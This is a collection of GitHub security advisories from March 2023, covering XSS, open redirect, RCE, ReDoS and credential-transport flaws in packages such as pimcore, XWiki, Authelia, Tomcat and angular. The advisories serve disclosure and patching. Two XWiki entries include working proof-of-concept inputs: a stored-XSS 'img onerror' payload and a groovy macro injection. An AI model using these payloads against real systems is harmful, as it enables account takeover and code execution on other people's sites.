score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'thorsten/phpmyfaq'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.1.12'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.12.
pimcore is vulnerable to cross-site scripting (GHSA-gh4g-65f6-84g5)
Aliases: CVE-2023-1312
Published: 2023-03-10T12:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '10.5.19'}]}]}]

Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.5.19.
Open redirect in web2py (GHSA-w4r7-vm83-q2c7)
Aliases: CVE-2023-22432
Published: 2023-03-06T00:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'web2py'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.23.1'}]}]}]

Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
baserCMS File Uploader Remote Code Execution (RCE) vulnerability (GHSA-h4cc-fxpp-pgw9)
Aliases: CVE-2023-25654
Published: 2023-03-23T20:00:08Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'baserproject/basercms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.7.5'}]}]}]

### Impact
There is a Remote Code Execution (RCE) Vulnerability on the management system of baserCMS.

### Target
baserCMS 4.7.3 and earlier versions

### Patches
Update to the latest version of baserCMS

### Credits
島峰泰平＠三井物産セキュアディレクション株式会社
Cross Site Scripting in eZ Platform Ibexa Kernel (GHSA-c737-jhwr-fqxj)
Aliases: CVE-2021-46875
Published: 2023-03-12T06:30:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'ezsystems/ezpublish-kernel'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.13.0'}, {'fixed': '6.13.8.2'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'ezsystems/ezpublish-kernel'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.5.0'}, {'fixed': '7.5.15.2'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'ezsystems/ezplatform-kernel'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.2.0'}, {'fixed': '1.2.5.1'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'ezsystems/ezplatform-kernel'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.3.0'}, {'fixed': '1.3.1.1'}]}]}]

## Impact

In file upload it is possible by certain means to upload files like .html and .js. These may contain XSS exploits which will be run when links to them are accessed by victims.
Patches

## Patches

The fix consists simply of adding common types of scriptable file types to the configuration of the already existing filetype blacklist feature. See "Patched versions". As such, this can also be done manually, without installing the patched versions. This may be relevant if you are currently running a considerably older version of the kernel package and don't want to upgrade it at this time. Please see the settting "ezsettings.default.io.file_storage.file_type_blacklist" at:
https://github.com/ezsystems/ezplatform-kernel/blob/master/eZ/Bundle/EzPublishCoreBundle/Resources/config/default_settings.yml#L109
Important note

## Important note

You should adapt this setting to your needs. Do not add file types to the blacklist that you actually need to be able to upload. For instance, if you need your editors to be able to upload SVG files, then don't blacklist that. Instead, you could e.g. use an approval workflow for such content.
`openssl` `X509NameBuilder::build` returned object is not thread safe (GHSA-3gxf-9r58-2ghg)
Published: 2023-03-24T22:01:35Z
Affected: [{'package': {'ecosystem': 'crates.io', 'name': 'openssl'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.9.7'}, {'fixed': '0.10.48'}]}]}]

OpenSSL has a `modified` bit that it can set on on `X509_NAME` objects. If this bit is set then the object is not thread-safe even when it appears the code is not modifying the value.

Thanks to David Benjamin (Google) for reporting this issue.
Vega vulnerable to arbitrary code execution when clicking href links (GHSA-cp47-r258-q626)
Published: 2023-03-02T23:36:22Z
Affected: [{'package': {'ecosystem': 'npm', 'name': 'vega'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.0.0'}, {'fixed': '5.4.1'}]}]}, {'package': {'ecosystem': 'npm', 'name': 'vega'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.5.1'}]}]}]

 Vega is vulnerable to arbitrary code execution when clicking href links. Versions 5.4.1 and 4.5.1 contain a patch.
Moodle may display roles to users who don't have access to them (GHSA-vj5p-fp42-774p)
Aliases: CVE-2023-1402
Published: 2023-03-23T21:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.1.0'}, {'fixed': '4.1.2'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.0.0'}, {'fixed': '4.0.7'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.11.0'}, {'fixed': '3.11.13'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.9.20'}]}]}]

The course participation report required additional checks to prevent roles being displayed which the user did not have access to view.
Authelia allows open redirects on the logout endpoint (GHSA-36f2-fcrx-fp4j)
Aliases: CVE-2021-29456
Published: 2023-03-16T16:04:56Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/authelia/authelia/v4'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.28.0'}]}]}]

### Impact
Utilizing a HTTP query parameter an attacker is able to redirect users from the web application to any domain. The URL of the intended redirect should always be checked for safety prior to forwarding the user. Other endpoints of the web application already do this, they check both that the domain is using the HTTPS protocol and that it exists on a domain associated with the application.

An attacker is able to use this unintended functionality to redirect users to malicious sites. This particular security issue allows the attacker to make a phishing attempt seem much more trustworthy to a user of the web application as the initial site before redirection is familiar to them, as well as the actual URL which they have theoretically visited frequently. 

While this security issue does not directly impact the security of the web application, it is still not an acceptable scenario for the reasons mentioned above. 

### Patches
f0cb75e1e102f95f91e9254c66c797e821857690 fix(handlers): logout redirection validation (#1908) [v4.28.0](https://github.com/authelia/authelia/releases/tag/v4.28.0)

### Workarounds
Using a reverse proxy to strip the query parameter from the affected endpoint. 

### References
https://github.com/authelia/authelia/pull/1908

[CWE-601](https://cwe.mitre.org/data/definitions/601.html)

[Authelia v4.28.0](https://github.com/authelia/authelia/tree/v4.28.0)

### For more information
If you have any questions or comments about this advisory, please [contact us](https://github.com/authelia/authelia#contact-options). You may also contact us to request creating a back-ported fix for this if you are able to explain why you cannot upgrade; however upgrading is highly preferable.
Apache Tomcat vulnerable to Unprotected Transport of Credentials (GHSA-2c9m-w27f-53rm)
Aliases: CVE-2023-28708
Published: 2023-03-22T12:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.tomcat:tomcat-catalina'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '11.0.0-M1'}, {'fixed': '11.0.0-M3'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.tomcat:tomcat-catalina'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '10.1.0-M1'}, {'fixed': '10.1.6'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.tomcat:tomcat-catalina'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '9.0.0-M1'}, {'fixed': '9.0.72'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.tomcat:tomcat-catalina'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.5.0'}, {'fixed': '8.5.86'}]}]}]

When using the RemoteIpFilter with requests received from a reverse proxy via HTTP that include the X-Forwarded-Proto header set to https, session cookies created by Apache Tomcat 11.0.0-M1 to 11.0.0.-M2, 10.1.0-M1 to 10.1.5, 9.0.0-M1 to 9.0.71 and 8.5.0 to 8.5.85 did not include the secure attribute. This could result in the user agent transmitting the session cookie over an insecure channel.
Answer vulnerable to Cross-site Scripting (GHSA-h85v-cx5m-78wj)
Aliases: CVE-2023-1244
Published: 2023-03-07T09:30:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/answerdev/answer'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.6'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository answerdev/answer prior to 1.0.6.
XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data (GHSA-32fq-m2q5-h83g)
Aliases: CVE-2023-26480
Published: 2023-03-03T22:53:51Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-livedata-macro'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '12.10'}, {'fixed': '13.10.10'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-livedata-macro'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '14.0'}, {'fixed': '14.4.7'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-livedata-macro'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '14.5'}, {'fixed': '14.9'}]}]}]

### Impact
A user without script rights can introduce a stored XSS by using the Live Data macro.

For instance:

```
{{liveData id="movies" properties="title,description"}}
{
  "data": {
    "count": 1,
    "entries": [
      {
        "title": "Meet John Doe",
        "url": "https://www.imdb.com/title/tt0033891/",
        "description": "<img onerror='alert(1)' src='foo' />"
      }
    ]
  },
  "meta": {
    "propertyDescriptors": [
      {
        "id": "title",
        "name": "Title",
        "visible": true,
        "displayer": {"id": "link", "propertyHref": "url"}
      },
      {
        "id": "description",
        "name": "Description",
        "visible": true,
        "displayer": "html"
      }
    ]
  }
}
{{/liveData}}
```

### Patches
This has been patched in XWiki 14.9, 14.4.7, and 13.10.10.

### Workarounds
No known workaround.

### References
https://jira.xwiki.org/browse/XWIKI-20143

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Jira](http://jira.xwiki.org/)
* Email us at [Security ML](mailto:security@xwiki.org)
xwiki-platform vulnerable to Remote Code Execution in Annotations (GHSA-h6f5-8jj5-cxhr)
Aliases: CVE-2023-26475
Published: 2023-03-02T15:16:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-annotation-ui'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.3-milestone-1'}, {'fixed': '13.10.11'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-annotation-ui'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '14.0-rc-1'}, {'fixed': '14.4.7'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-annotation-ui'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '14.5'}, {'fixed': '14.10'}]}]}]

### Impact

The annotation displayer does not execute the content in a restricted context. This allows executing anything with the right of the author of any document by annotating the document.

To reproduce: add an annotation with the content `{{groovy}}print "hello"{{/groovy}}` and click the yellow scare to get a display of the annotation inline.

The result is "hello" but it should be an error suggesting that it's not allowed to use the groovy macro.

### Patches
This has been patched in XWiki 13.10.11, 14.4.7 and 14.10.

### Workarounds
There is no easy workaround except to upgrade.

### References
https://jira.xwiki.org/browse/XWIKI-20360

https://jira.xwiki.org/browse/XWIKI-20384

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:security@xwiki.org)

### Attribution

This vulnerability has been reported by René de Sain @renniepak.
Answer vulnerable to Cross-site Scripting (GHSA-qrwm-xqfr-4vhv)
Aliases: CVE-2023-1242
Published: 2023-03-07T09:30:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/answerdev/answer'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.6'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository answerdev/answer prior to 1.0.6.
angular vulnerable to regular expression denial of service via the $resource service (GHSA-2qqx-w9hr-q5gx)
Aliases: CVE-2023-26117
Published: 2023-03-30T06:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Affected: [{'package': {'ecosystem': 'npm', 'name': 'angular'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.8.3'}]}]}]

All versions of the package angular are vulnerable to Regular Expression Denial of Service (ReDoS) via the $resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.
Pimcore has Cross site Scripting vulnerability in Schedule tab of Documents (GHSA-42x8-2v53-pqmj)
Aliases: CVE-2023-1517
Published: 2023-03-20T17:18:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '10.5.19'}]}]}]

### Impact
This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie or redirect users to other malicious sites.

### Patches
Update to version 10.5.19 or apply this patch manually https://github.com/pimcore/pimcore/pull/14631.patch

### Workarounds
Apply https://github.com/pimcore/pimcore/pull/14631.patch manually.

### References
https://huntr.dev/bounties/82adf0dd-8ebd-4d15-9f91-6060c8fa5a0d/